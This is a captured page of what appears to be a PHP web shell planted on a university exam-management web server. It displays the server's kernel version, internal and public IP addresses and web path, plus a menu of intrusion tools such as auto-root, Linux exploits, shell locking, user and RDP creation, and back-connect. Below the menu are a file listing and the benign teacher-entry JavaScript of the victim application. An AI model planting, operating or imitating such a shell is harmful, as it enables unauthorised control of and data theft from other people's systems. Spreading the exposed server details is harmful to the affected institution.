Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 13.58.103.70
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stph /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
PHPExcel
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
DownloadExamAppFormApplication...
5.72
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
5.26
KB
-rwxr-xr-x
ExcelWriterXML.php
16.29
KB
-rwxr-xr-x
ExcelWriterXML_Sheet.php
15.83
KB
-rwxr-xr-x
ExcelWriterXML_Style.php
23.71
KB
-rwxr-xr-x
HT_017_BA160105.pdf
40.2
KB
-rwxr-xr-x
PrintApplicationFormAdmPOSTOFF...
12.64
KB
-rwxr-xr-x
PrintChallanEntryDetails.php
8.36
KB
-rwxr-xr-x
RvRtApplicationReport.php
8.76
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
11.63
KB
-rwxr-xr-x
admChallanEntryDetails.php
7.01
KB
-rwxr-xr-x
answer_book_statistics.php
6.79
KB
-rwxr-xr-x
appear_list_center_qp_wise.php
7.33
KB
-rwxr-xr-x
appear_list_center_qp_wise_stp...
7.33
KB
-rwxr-xr-x
appear_list_qp_wise.php
5.66
KB
-rwxr-xr-x
appear_list_qp_wise_stph.php
5.67
KB
-rwxr-xr-x
appfeedetails.php
8.73
KB
-rwxr-xr-x
appfeedetails25022017.php
6.46
KB
-rwxr-xr-x
appfeedetails_pdf.php
7.48
KB
-rwxr-xr-x
appfeedetailspdf.php
7.58
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
bundle_ despatch_ statement.ph...
5.78
KB
-rwxr-xr-x
cManualMailer.php
1.45
KB
-rwxr-xr-x
cappcontext.php
2.64
KB
-rwxr-xr-x
cconfig.php
1.14
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
college_degree_details.php
4.57
KB
-rwxr-xr-x
college_pending_markslist.php
6.74
KB
-rwxr-xr-x
fee_summary.php
13.15
KB
-rwxr-xr-x
fee_summary_oldformat.php
7.47
KB
-rwxr-xr-x
generatePostAdmissionTicket.ph...
38.96
KB
-rwxr-xr-x
getnumword.php
7.43
KB
-rwxr-xr-x
hallticketcomm.php
29.47
KB
-rwxr-xr-x
htstatus.php
6.73
KB
-rwxr-xr-x
iaemptyformat.php
10.84
KB
-rwxr-xr-x
iaemptyformat_06022023.php
9.42
KB
-rwxr-xr-x
marklist_studentwise.html
4.29
KB
-rwxr-xr-x
marls_subjectwise.php
10.22
KB
-rwxr-xr-x
mregistry.php
73.81
KB
-rwxr-xr-x
photo_report.php
4.49
KB
-rwxr-xr-x
practical_marks_details.php
12.16
KB
-rwxr-xr-x
practical_marks_report.php
5.45
KB
-rwxr-xr-x
report_ack_registration.php
6.4
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
16.99
KB
-rwxr-xr-x
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_listnehu.php
24.67
KB
-rwxr-xr-x
report_admission_ticket.php
45.17
KB
-rwxr-xr-x
report_admission_ticket08.php
11.81
KB
-rwxr-xr-x
report_admission_ticket0802201...
36.96
KB
-rwxr-xr-x
report_admission_ticket0811201...
47.36
KB
-rwxr-xr-x
report_admission_ticket1111201...
40.47
KB
-rwxr-xr-x
report_admission_ticket1711201...
42.51
KB
-rwxr-xr-x
report_admission_ticket_201804...
27.76
KB
-rwxr-xr-x
report_admission_ticket_291120...
43.27
KB
-rwxr-xr-x
report_admission_ticket_before...
13.33
KB
-rwxr-xr-x
report_admission_ticket_kus (2...
36.42
KB
-rwxr-xr-x
report_admission_ticket_kus.ph...
16.15
KB
-rwxr-xr-x
report_admission_ticket_nitte....
26.22
KB
-rwxr-xr-x
report_admission_ticket_org.ph...
43.52
KB
-rwxr-xr-x
report_admission_ticketcopy.ph...
32.41
KB
-rwxr-xr-x
report_admission_ticketkswu.ph...
15.07
KB
-rwxr-xr-x
report_admission_ticketold.php
30.03
KB
-rwxr-xr-x
report_admission_ticketold0911...
34.52
KB
-rwxr-xr-x
report_admission_ticketoldform...
30.91
KB
-rwxr-xr-x
report_answer_book_issued.php
8.41
KB
-rwxr-xr-x
report_attendance_sheet.php
12.75
KB
-rwxr-xr-x
report_attendance_shortage.php
9.23
KB
-rwxr-xr-x
report_attendance_shortage_271...
8.99
KB
-rwxr-xr-x
report_attendance_summary.php
7.17
KB
-rwxr-xr-x
report_attendance_summary_back...
7.15
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7.05
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.33
KB
-rwxr-xr-x
report_batch_wise_details.php
7.93
KB
-rwxr-xr-x
report_batch_worksheet_details...
11.18
KB
-rwxr-xr-x
report_bundle_dispatch.php
8.65
KB
-rwxr-xr-x
report_bundle_dispatch_kusdde....
9.73
KB
-rwxr-xr-x
report_candidate_list.php
29.08
KB
-rwxr-xr-x
report_candidate_list28102017....
29.46
KB
-rwxr-xr-x
report_candidate_list_backup.p...
29.47
KB
-rwxr-xr-x
report_candidate_list_before_f...
25.19
KB
-rwxr-xr-x
report_candidate_list_before_s...
19.8
KB
-rwxr-xr-x
report_candidate_list_loc.php
25.06
KB
-rwxr-xr-x
report_candidate_list_old.php
25.9
KB
-rwxr-xr-x
report_daliy_report.php
10.88
KB
-rwxr-xr-x
report_daliy_report_qp - Copy....
14.31
KB
-rwxr-xr-x
report_daliy_report_qp.php
14.73
KB
-rwxr-xr-x
report_daliy_report_qp_2504201...
12.17
KB
-rwxr-xr-x
report_daliy_report_qp_new.php
9.93
KB
-rwxr-xr-x
report_daliy_report_qp_old_for...
10.13
KB
-rwxr-xr-x
report_daliy_report_qp_wait.ph...
9.9
KB
-rwxr-xr-x
report_degree_list.php
4.71
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_iamarks_pending_2112201...
6.58
KB
-rwxr-xr-x
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
4.35
KB
-rwxr-xr-x
report_marks_elementwisenew.ph...
4.67
KB
-rwxr-xr-x
report_marks_entry_student_lis...
5.6
KB
-rwxr-xr-x
report_marks_entry_subjectwise...
10.99
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
13.42
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.13
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
9.16
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.05
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.63
KB
-rwxr-xr-x
report_pr_pending.php
7.48
KB
-rwxr-xr-x
report_practical_marks_details...
13.45
KB
-rwxr-xr-x
report_practical_marks_details...
14.69
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.93
KB
-rwxr-xr-x
report_ra_exl_report.php
5.79
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
18.34
KB
-rwxr-xr-x
report_ra_invigilator_dairy_28...
17
KB
-rwxr-xr-x
report_ra_invigilators_dairy24...
8.83
KB
-rwxr-xr-x
report_ra_invigilators_dairy26...
14.9
KB
-rwxr-xr-x
report_ra_invigilators_dairy28...
11.95
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
7.66
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.44
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
7.57
KB
-rwxr-xr-x
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_sectionwiselist.php
4.61
KB
-rwxr-xr-x
report_subject_admcl_list.php
3.48
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.13
KB
-rwxr-xr-x
resport_attendance_studentwise...
5.96
KB
-rwxr-xr-x
results_pdf.php
19.35
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomallotmantecelsheet.php
5.41
KB
-rwxr-xr-x
roomallotmantsummary.php
4.85
KB
-rwxr-xr-x
roomwise_register_nos_list.php
25.53
KB
-rwxr-xr-x
roomwise_register_nos_list2611...
17.11
KB
-rwxr-xr-x
roomwise_register_nos_list_new...
23.02
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
s
32.36
KB
-rwxr-xr-x
stringspliter.php
693
B
-rwxr-xr-x
student.php
5.36
KB
-rwxr-xr-x
student_count.php
4.05
KB
-rwxr-xr-x
subject_wise_student_list.php
6.22
KB
-rwxr-xr-x
subjectwise_invigilator_dairy....
10.29
KB
-rwxr-xr-x
tatkal.php
4.8
KB
-rwxr-xr-x
teacher_report.php
10.83
KB
-rwxr-xr-x
teachersnew.js
21.4
KB
-rwxr-xr-x
testbarcode.php
19.88
KB
-rwxr-xr-x
topsheet.php
8.41
KB
-rwxr-xr-x
upload.js
29.46
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : teachersnew.js
function CallEnableTeacherEntry(type) { $("#page_main_div").load('html_modules/teachers.html',function() { document.getElementById('display_module_name').innerHTML = 'Teachers Entry'; document.getElementById('module_name_for_save').value = 'TeachersEntry'; document.getElementById('is_add_edit').value = type; getDefaultHeadFooterLinks('TEACHERS'); AssignTeachDropDownMenus(); if(type=='Add') { $geditinternalcode=0; } if(type=='Edit') { EditTeachertDetailsForUpdate($geditinternalcode); } } ); $('#module_details_div').hide(); } function AssignTeachDropDownMenus() { $.ajax({ type: "POST", url: $host_url+"AssignTeachDropDownMenus", data:"id=", success: AssignTeachDropDownMenusSuccess }); } function AssignTeachDropDownMenusSuccess($responce) { $responce = eval('(' + $responce + ')'); document.getElementById('department').options.length = 0; document.getElementById('designation').options.length = 0; document.getElementById('faculty').options.length = 0; document.getElementById('ss1').options.length = 0; var dept=$responce.data['dept']; var des=$responce.data['des']; var fac=$responce.data['fac']; $op = new Option("None", "0");$op.id="0"; document.getElementById('ss1').options.add($op); for($i=0;$i < dept.length;$i++) { $op = new Option(dept[$i]['value'], dept[$i]['code']); $op.id=dept[$i]['code']; document.getElementById('department').options.add($op); } for($i=0;$i < des.length;$i++) { $op = new Option(des[$i]['value'], des[$i]['code']); $op.id= des[$i]['code']; document.getElementById('designation').options.add($op); } for($i=0;$i < fac.length;$i++) { $op = new Option(fac[$i]['value'], fac[$i]['code']); $op.id=fac[$i]['code']; document.getElementById('faculty').options.add($op); } } var idvalue = ''; function DepartmentSubjectDropDownMenus(deptCode,id) { idvalue = id; alert(id); $.ajax({ type: "POST", url: $host_url+"DepartmentSubjectDropdown", data:"deptCode="+deptCode, success:DepartmentSubjectDropDownMenuSuccess }); } function DepartmentSubjectDropDownMenuSuccess($responce) { $responce = eval('(' + $responce + ')'); var deptSubj=$responce.data['deptSubj']; $op = new Option("None", "0");$op.id="0"; //alert(idvalue); if(idvalue != 'department') { $op = new Option(); for($i=0;$i < deptSubj.length;$i++) { $op = new Option(deptSubj[$i]['value'], deptSubj[$i]['code']); $op.id=deptSubj[$i]['code']; document.getElementById(idvalue).options.add($op); } } if(idvalue == 'department') { document.getElementById('ss1').options.length = 0; document.getElementById('ss1').options.add($op); for($i=0;$i < deptSubj.length;$i++) { $op = new Option(deptSubj[$i]['value'], deptSubj[$i]['code']); $op.id=deptSubj[$i]['code']; document.getElementById('ss1').options.add($op); } } } function getrow(evt,id) { var first = true; var tabledy = ''; if(evt.keyCode == '9') { var inputFileds = document.getElementsByTagName('input'); var chkCnt = 0; for (var counter=0; counter < inputFileds.length; counter++) { if ( inputFileds[counter].type.toUpperCase()=='HIDDEN' && inputFileds[counter].name == "dytablerow" ) { ++chkCnt; } } if(chkCnt!=0) { if(id == "ss"+chkCnt+"_cust") { var curindex = chkCnt+1; var table = ''; table+= '<tr class="ui-widget-content jqgrow" id = "dyrow'+curindex+'"style="font-size:12px;">'; table+='<td align="center" style="border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;" class="tbl_row_new">'; table+='<input type="HIDDEN" name = "dytablerow" ><select id="ss'+curindex+'" style="width:150px"><option>None</option></select></td>'; table+='<td align="center" style="border-right:1px solid #C5DBEC; padding:2px;" class = "tbl_row_new">'; table+='<select id="ss'+curindex+'_ug" style="width:100px">'; table+='<option>UG / PG</option><option value = "UG">UG</option><option value = "PG">PG</option>'; table+='</select>'; table+='</td>'; table+='<td style="border-right:1px solid #C5DBEC; padding:2px;" class="tbl_row_new"align="center">'; table+='<input type="checkbox" class="examiner" name="dytable" id = "ss'+curindex+'_examiner" style="width:20px;vertical-align:middle;" >'; table+='</td>'; table+='<td style="border-right:1px solid #C5DBEC; padding:2px;" class="tbl_row_new"align="center">'; table+='<input type="checkbox"class="examiner" name="dytable" id = "ss'+curindex+'_qp" style="width:20px;vertical-align:middle;" >'; table+='</td>'; table+='<td style="border-right:1px solid #C5DBEC; padding:2px;" class="tbl_row_new"align="center">'; table+='<input type="checkbox" class="examiner" name="dytable" id = "ss'+curindex+'_squad" style="width:20px;vertical-align:middle;" >'; table+='</td>'; table+='<td style="border-right:1px solid #C5DBEC; padding:2px;" class="tbl_row_new"align="center">'; table+='<input type = "checkbox" class="examiner" name="dytable" id = "ss'+curindex+'_chief" style="width:20px;vertical-align:middle;" >'; table+='</td>'; table+='<td style="border-right:1px solid #C5DBEC; padding:2px;" class="tbl_row_new"align = "center">'; table+='<input type="checkbox" class="examine" name="dytable" id = "ss'+curindex+'_cust" style="width:20px;vertical-align:middle;" onkeydown = "getrow(event,this.id);">'; table+='</td>'; table+= '<td style="border:1px solid #C5DBEC; padding:2px;" align = "center" ><input type="hidden" id = "'+curindex+'HS3" value="F"/><span onclick ="delpostdet('+curindex+')" ><img src="images/Remove-icon.png" /></span></td>'; table+='</tr>'; } } $("#dytable").append(table); var depcode = document.getElementById('department').value; DepartmentSubjectDropDownMenus(depcode,"ss"+curindex); } } function delpostdet(rowid) { if(confirm("Are you sure do you want to remove this details")) { $("#dyrow"+rowid).hide(); document.getElementById(rowid+"HS3").value = 'T'; } } function GetExamWorkString(code) { var str=""; if($("#ss"+code+"_examiner").is(':checked')) str+="EXAMINER|" if($("#ss"+code+"_qp").is(':checked')) str+="QP SETTER|" if($("#ss"+code+"_squad").is(':checked')) str+="SQUAD|" if($("#ss"+code+"_chief").is(':checked')) str+="CHIEF SUP|" if($("#ss"+code+"_cust").is(':checked')) str+="CUSTODIAN|" return str; } function AssignExamWorkString(code,string) { var exis_arr=new Array("EXAMINAR","QP SETTER","SQUAD","CHIEF SUP","CUSTODIAN"); var explode_str=string.split("|"); for(i=0;i<explode_str.length;i++) { var val=explode_str[i]; if(val=="EXAMINER") { document.getElementById("ss"+code+"_examiner").checked=true; } if(val=="QP SETTER") { document.getElementById("ss"+code+"_qp").checked=true; }if(val=="SQUAD") { document.getElementById("ss"+code+"_squad").checked=true; }if(val=="CHIEF SUP") { document.getElementById("ss"+code+"_chief").checked=true; }if(val=="CUSTODIAN") { document.getElementById("ss"+code+"_cust").checked=true; } } } function SaveTeachersEntry() { $lstr_data=""; if(trim(document.getElementById('teacher_name').value) == '' ) { alert('Please enter teacher_name'); document.getElementById('teacher_name').focus(); return; }else if(document.getElementById('status').value == '') { alert('Please status of teacher'); document.getElementById('status').focus(); return; } dob= $("#dob").val(); doj= $("#doe").val(); experience = $("#doe_yaer").val()+'.'+$("#doe_month").val(); $lstr_data+="&internal_code="+$geditinternalcode; $lstr_data+="&teacher_code="+encodeURIComponent($("#teacher_code").val()); $lstr_data+="&teacher_name="+encodeURIComponent($("#teacher_name").val()); $lstr_data+="&gender="+encodeURIComponent($("#gender").val()); $lstr_data+="&faculty="+encodeURIComponent($("#faculty").val()); $lstr_data+="&designation="+encodeURIComponent($("#designation").val()); $lstr_data+="&qualification="+encodeURIComponent($("#qualification").val()); $lstr_data+="&department="+encodeURIComponent($("#department").val()); $lstr_data+="&dob="+dob; $lstr_data+="&doj="+doj; $lstr_data+="&experience="+experience; $lstr_data+="&status="+encodeURIComponent($("#status").val()); $lstr_data+="&teacher_scale="+encodeURIComponent($("#teacher_scale").val()); $lstr_data+="&fulltime="+encodeURIComponent($("#fulltime").val()); $lstr_data+="&permanent="+encodeURIComponent($("#permanent").val()); $lstr_data+="&land_line_no="+encodeURIComponent($("#land_line_no").val()); $lstr_data+="&mobile="+encodeURIComponent($("#mobile").val()); $lstr_data+="&email_id="+encodeURIComponent($("#email_id").val()); $lstr_data+="&addr1="+encodeURIComponent($("#addr1").val()); $lstr_data+="&addr2="+encodeURIComponent($("#addr2").val()); $lstr_data+="&addr3="+encodeURIComponent($("#addr3").val()); $lstr_data+="&addr4="+encodeURIComponent($("#addr4").val()); $lstr_data+="&remarks="+encodeURIComponent($("#remarks").val()); $lstr_data+="&FMEMBER="+encodeURIComponent($("#FMEMBER").val()); /* var ss1 = (encodeURIComponent($("#ss1").val())); var FEXAMWORK1=GetExamWorkString('1'); var ss2 = (encodeURIComponent($("#ss2").val())); var FEXAMWORK2=GetExamWorkString('2'); var ss3 = (encodeURIComponent($("#ss3").val())); var FEXAMWORK3=GetExamWorkString('3'); var ss4 = (encodeURIComponent($("#ss4").val())); var FEXAMWORK4=GetExamWorkString('4'); var ss5 = (encodeURIComponent($("#ss5").val())); var FEXAMWORK5=GetExamWorkString('5'); */ var inputFileds = document.getElementsByTagName('input'); var chkCnt = 0; var rowCnt = 0; var specialization = {}; for (var counter=0; counter < inputFileds.length; counter++) { if(inputFileds[counter].type.toUpperCase()=='HIDDEN' && inputFileds[counter].name == "dytablerow") { ++rowCnt; alert(document.getElementById('ss'+rowCnt).value); if(document.getElementById('ss'+rowCnt).value != '' && document.getElementById(rowCnt+'HS3').value != 'T') { ++chkCnt; specialization[chkCnt] = new Object(); specialization[chkCnt]['special'] = document.getElementById('ss'+rowCnt).value; specialization[chkCnt]['ug'] = document.getElementById('ss'+rowCnt+'_ug').value; if(document.getElementById('ss'+rowCnt+'_examiner').checked == true) specialization[chkCnt]['examiner'] = 'T'; else specialization[chkCnt]['examiner'] = 'F'; if(document.getElementById('ss'+rowCnt+'_qp').checked == true) specialization[chkCnt]['qp'] = 'T'; else specialization[chkCnt]['qp'] = 'F'; if(document.getElementById('ss'+rowCnt+'_squad').checked == true) specialization[chkCnt]['squad'] = 'T'; else specialization[chkCnt]['squad'] = 'F'; if(document.getElementById('ss'+rowCnt+'_chief').checked == true) specialization[chkCnt]['chief'] = 'T'; else specialization[chkCnt]['chief'] = 'F'; if(document.getElementById('ss'+rowCnt+'_cust').checked == true) specialization[chkCnt]['cust'] = 'T'; else specialization[chkCnt]['cust'] = 'F'; /* specialization[chkCnt]['examiner'] = document.getElementById('ss'+rowCnt+'_examiner').value; specialization[chkCnt]['qp'] = document.getElementById('ss'+rowCnt+'_qp').value; specialization[chkCnt]['squad'] = document.getElementById('ss'+rowCnt+'_squad').value; specialization[chkCnt]['chief'] = document.getElementById('ss'+rowCnt+'_chief').value; specialization[chkCnt]['cust'] = document.getElementById('ss'+rowCnt+'_cust').value; */ } } } /* if(ss1 == 0) { alert("Select Subject Specialization"); return false; } if(ss1!='0' && empty(FEXAMWORK1)) { alert("Please select Either One check box for Subject Specialization 1"); return false; } else if(ss2!='0' && empty(FEXAMWORK2)) { alert("Please select Either One check box for Subject Specialization 2"); return false; } else if(ss3!='0' && empty(FEXAMWORK3)) { alert("Please select Either One check box for Subject Specialization 3"); return false; } else if(ss4!='0' && empty(FEXAMWORK4)) { alert("Please select Either One check box for Subject Specialization 4"); return false; } else if(ss5!='0' && empty(FEXAMWORK5)) { alert("Please select Either One check box for Subject Specialization 5"); return false; } $lstr_data+="&ss1_vavl="+ss1; $lstr_data+="&FEXAMWORK1="+FEXAMWORK1; var ss1_ug_pg = $("input[name='ss1_ug_pg']:checked").val(); $lstr_data+="&ss1_ug_pg="+$("#ss1_ug").val(); $lstr_data+="&ss2="+ss2; $lstr_data+="&FEXAMWORK2="+FEXAMWORK2; var ss2_ug_pg=$("input[name='ss2_ug_pg']:checked").val();$lstr_data+="&ss2_ug_pg="+ss2_ug_pg; $lstr_data+="&ss3="+ss3; $lstr_data+="&FEXAMWORK3="+FEXAMWORK3; var ss3_ug_pg=$("input[name='ss3_ug_pg']:checked").val();$lstr_data+="&ss3_ug_pg="+ss3_ug_pg; $lstr_data+="&ss4="+ss4; $lstr_data+="&FEXAMWORK4="+FEXAMWORK4; var ss4_ug_pg=$("input[name='ss4_ug_pg']:checked").val();$lstr_data+="&ss4_ug_pg="+ss4_ug_pg; $lstr_data+="&ss5="+ss5; $lstr_data+="&FEXAMWORK5="+FEXAMWORK5; var ss5_ug_pg=$("input[name='ss5_ug_pg']:checked").val();$lstr_data+="&ss5_ug_pg="+ss5_ug_pg; */ var valid_file_extentions = new Array("jpeg","jpg",'png','gif'); var ext=$("#student_entry_upload").val(); filepath=ext; ext = ext.substring(ext.length-3,ext.length); ext = ext.toLowerCase(); if(ext != "" && !in_array(ext,valid_file_extentions)) { alert("Please Select the Valid Photo!"); return false; } $lstr_data+="&filepath="+filepath+"&specialization="+encodeURIComponent(JSON.stringify(specialization)); $upload = $host_url+"SaveTeachersEntry&"+$lstr_data; document.getElementById("form_module_image_upload").setAttribute("action",$upload); //return AIM.submit(document.getElementById("form_student_entry"), '_new',{'onComplete' : saveStudentEntryResponse}); return AIM.submit(document.getElementById("form_module_image_upload"), 'same_tab',{'onComplete' : saveTeacherEntryResponse}); } function saveTeacherEntryResponse($responce) { $responce = eval('(' + $responce + ')'); if($responce.error_code==0) { alert($responce.data); CallEnableTeacherEntry("Add") } else alert($responce.data); } function ViewTeacherDetails() { $main="<table id='view_teacher_entry' class='scroll' ondblclick='SelectTeacherRowId();'></table> <div id='sub_grid_div' class='scroll' style='text-align:center;'></div>"; document.getElementById('page_main_div').innerHTML=$main; var student_details=jQuery("#view_teacher_entry").jqGrid( { url:$host_url+'ViewTeacherDetails', datatype: "json", colNames:['Code','Teacher','Gender'], colModel:[ {name:'FTEACHCODE',index:'FTEACHCODE', width:50 }, {name:'FTEACHNAME',index:'FTEACHNAME', width:100 }, {name:'FGENDER',index:'FGENDER', width:100 } ], rowNum:20, rowList:[20,30,40,60], imgpath:$img_path, pager: jQuery('#sub_grid_div'), sortname: 'id', height:'250', viewrecords: true, sortorder: "desc", multiselect: true, cellEdit: true, width:'840', caption:"Teacher Details", editurl:$host_url+'deleteTeacherDetails' }).navGrid('#sub_grid_div',{edit:false,add:false,del:false,search:true},{},{},{},{multipleSearch:true}) .navButtonAdd('#sub_grid_div',{caption:"Toggle", buttonicon :'ui-icon-pin-s', onClickButton:function(){ student_details[0].toggleToolbar() } }). navButtonAdd('#sub_grid_div',{caption:"Delete", buttonicon :'ui-icon-trash', onClickButton:function(){ deleteTeacherRecord() } }). navButtonAdd('#sub_grid_div',{caption:"Edit", onClickButton:function() { SelectTeacherRowId(); } }); student_details.filterToolbar(); $("#gs_grid_sl_no").focus(); $('.ui-search-toolbar').bind('keydown',function(evt) { var kC = (evt.which) ? evt.which : evt.keyCode; if(kC==40) jQuery('#degree_grid').editCell(0,0,false); }); } function SelectTeacherRowId() { var id=jQuery("#view_teacher_entry").getGridParam('selrow'); if (id) { $geditinternalcode=id; CallEnableTeacherEntry('Edit'); var dataset=jQuery("#view_teacher_entry").getRowData(id); } else { alert("Please select row in grid"); return; } } function EditTeachertDetailsForUpdate(id) { $.ajax({ type: "POST", //async:false, url: $host_url+"EditTeachertDetailsForUpdate", data:"internal_code="+id, success: EditTeachertDetailsForUpdateResponse }); } function EditTeachertDetailsForUpdateResponse($responce) { $responce = eval('(' + $responce + ')'); if($responce.error_code == 0 ) { alert($responce.data['FDEPTCODE']); $.ajax({ type: "POST", url: $host_url+"DepartmentSubjectDropdown", data:"deptCode="+$responce.data['FDEPTCODE'], success:function($reps) { DepartmentSubjectDropDownMenuSuccess($reps); $("#student_entry_photo").attr("src", $responce.data['FPHOTO']); $("#teacher_code").val($responce.data['FTEACHCODE']); $("#teacher_name").val($responce.data['FTEACHNAME']); $("#student_entry_dob_date").val($responce.data['FDOB_date']); $("#student_entry_dob_month").val($responce.data['FDOB_month']); $("#student_entry_dob_year").val($responce.data['FDOB_Year']); $("#doj_date").val($responce.data['FDOA_date']); $("#doj_month").val($responce.data['FDOA_month']); $("#doj_year").val($responce.data['FDOA_Year']); $("#gender").val($responce.data['FGENDER']); $("#faculty").val($responce.data['FFACCODE']); $("#designation").val($responce.data['FDEGNCODE']); $("#qualification").val($responce.data['FQUAL']); $("#department").val($responce.data['FDEPTCODE']); $("#experience").val($responce.data['FEXP']); $("#teacher_scale").val( $responce.data['FSCALE']); $("#fulltime").val($responce.data['FFULLTIME']); $("#permanent").val( $responce.data['FPERMANENT']); $("#land_line_no").val( $responce.data['FPHONE']); $("#mobile").val($responce.data['FMOBILE']); $("#email_id").val( $responce.data['FEMAIL']); $("#addr1").val($responce.data['FADDR1']); $("#addr2").val($responce.data['FADDR2']); $("#addr3").val($responce.data['FADDR3']); $("#addr4").val($responce.data['FADDR4']); $("#remarks").val( $responce.data['FREMARKS']); $("#FMEMBER").val( $responce.data['FMEMBER']); $("#ss1").val( $responce.data['FSUBCODE1']); $("#ss2").val( $responce.data['FSUBCODE2']); $("#ss3").val( $responce.data['FSUBCODE3']); $("#ss4").val( $responce.data['FSUBCODE4']); $("#ss5").val( $responce.data['FSUBCODE5']); $('input:radio[name="ss1_ug_pg"]').filter("[value='"+$responce.data['FUGPG1']+"']").attr('checked', true); $('input:radio[name="ss2_ug_pg"]').filter("[value='"+$responce.data['FUGPG2']+"']").attr('checked', true); $('input:radio[name="ss3_ug_pg"]').filter("[value='"+$responce.data['FUGPG3']+"']").attr('checked', true); $('input:radio[name="ss4_ug_pg"]').filter("[value='"+$responce.data['FUGPG4']+"']").attr('checked', true); $('input:radio[name="ss5_ug_pg"]').filter("[value='"+$responce.data['FUGPG5']+"']").attr('checked', true); AssignExamWorkString("1",$responce.data['FEXAMWORK1']); AssignExamWorkString("2",$responce.data['FEXAMWORK2']); AssignExamWorkString("3",$responce.data['FEXAMWORK3']); AssignExamWorkString("4",$responce.data['FEXAMWORK4']); AssignExamWorkString("5",$responce.data['FEXAMWORK5']); } }); } } function returnMonthValue(val) { var month_array = new Array(); month_array['Jan'] = '01'; month_array['Feb'] = '02'; month_array['Mar'] = '03'; month_array['Apr'] = '04'; month_array['May'] = '05'; month_array['Jun'] = '06'; month_array['Jul'] = '07'; month_array['Aug'] = '08'; month_array['Sep'] = '09'; month_array['Oct'] = '10'; month_array['Nov'] = '11'; month_array['Dec'] = '12'; return month_array[val]; } function returnMonthName(val) { var month_array = new Array(); month_array['Jan'] = '01'; month_array['Feb'] = '02'; month_array['Mar'] = '03'; month_array['Apr'] = '04'; month_array['May'] = '05'; month_array['Jun'] = '06'; month_array['Jul'] = '07'; month_array['Aug'] = '08'; month_array['Sep'] = '09'; month_array['Oct'] = '10'; month_array['Nov'] = '11'; month_array['Dec'] = '12'; return month_array[val]; } function deleteTeacherRecord() { var ids=jQuery("#view_teacher_entry").getGridParam('selarrrow'); var delete_arr = new Object(); if (ids) { for(var p=0;p<ids.length;p++) { //alert(ids); var dataset=jQuery("#view_teacher_entry").getRowData(ids[p]); var teach_code=dataset['FTEACHCODE']; var tech_name=dataset['FTEACHNAME']; //alert(sl_no); delete_arr[p]= new Object(); delete_arr[p]['teach_code']=teach_code; delete_arr[p]['tech_name']=tech_name; } var agree=confirm("Would you like to Delete this Record..!!"); if(agree) { var myJSONText = encodeURIComponent(JSON.stringify(delete_arr)); $.ajax({ type: "POST", //async:false, url: $host_url+"disableTeacherRecord", data:"&delete_arr="+myJSONText, success: disableRecordResponse }); } } else { alert("Please select row in grid"); return; } } function disableRecordResponse($responce) { $responce = eval('(' + $responce + ')'); if($responce.error_code==0) { alert("Record Deleted Successfully"); $('#view_teacher_entry').trigger("reloadGrid"); } }
Close